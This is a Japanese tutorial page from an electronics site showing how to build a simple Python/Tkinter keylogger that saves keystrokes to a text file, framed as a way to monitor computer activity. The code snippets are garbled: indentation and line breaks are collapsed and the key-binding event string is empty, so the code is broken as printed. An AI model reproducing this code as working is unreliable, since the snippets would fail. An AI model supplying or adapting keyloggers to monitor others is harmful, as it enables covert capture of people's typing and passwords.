1. カメラ
  2. カーオーディオ&エレクトロニクス
  3. ホームオーディオ
  4. パーソナルオーディオ
  5. テレビ
  6. スマートホーム
  >> 電子技術オンライン >  >> スマートホーム >> スマートライフ

Python を使用してキーロガーを作成する方法

Python を使用してキーロガー プログラムを作成し、コンピューターのキーボードから入力されたキーストロークをキャプチャできます。キーストロークはテキスト ファイルに保存され、すべての入力が記録されます。キー ロガーを使用して、コンピューターのアクティビティを監視できます。

ステップ 1

IDLE を起動し、[ファイル] メニューをクリックし、[新しいウィンドウ] を選択して新しいウィンドウを起動します。 Ctrl キーと S キーを押して、[名前を付けて保存] ウィンドウを開きます。ファイル名として「getKeyLogger」を使用し、「保存」をクリックします。

ステップ 2

次のコード行を追加して、「Tkinter」名前空間をインポートし、ログに使用するファイルのパスを定義します:

import Tkinter as tk myFile =open("C:/temp/keyFile.txt", "w")

ステップ 3

すべてのキーストロークをファイルに保存するには、次のコードをコピーして貼り付けます:

def keypress(event):if event.keysym =='Escape':main.destroy() keyPressed =event.char myFile.write(keyPressed)

ステップ 4

次のコードを追加して、入力を開始できること、および Esc を押してプログラムを終了できることをユーザーに知らせます:

main =tk.Tk() print "何かキーを押してください (終了するには Escape キー):" main.bind_all('', keypress) main.withdraw() main.mainloop() myFile.close()

ステップ 5

[Windows] スタート ボタンをクリックし、[プログラムとファイルの検索] ボックスに「cmd」と入力します。 Enter キーを押して、コマンド プロンプトを開きます。 「C:\Python<バージョン番号>」に移動し、「python getKeyLogger」と入力します。 Enter キーを押してプログラムを実行します。 「C:/temp/」に移動し、「keyFile.txt」をダブルクリックしてキーストローク データを表示します。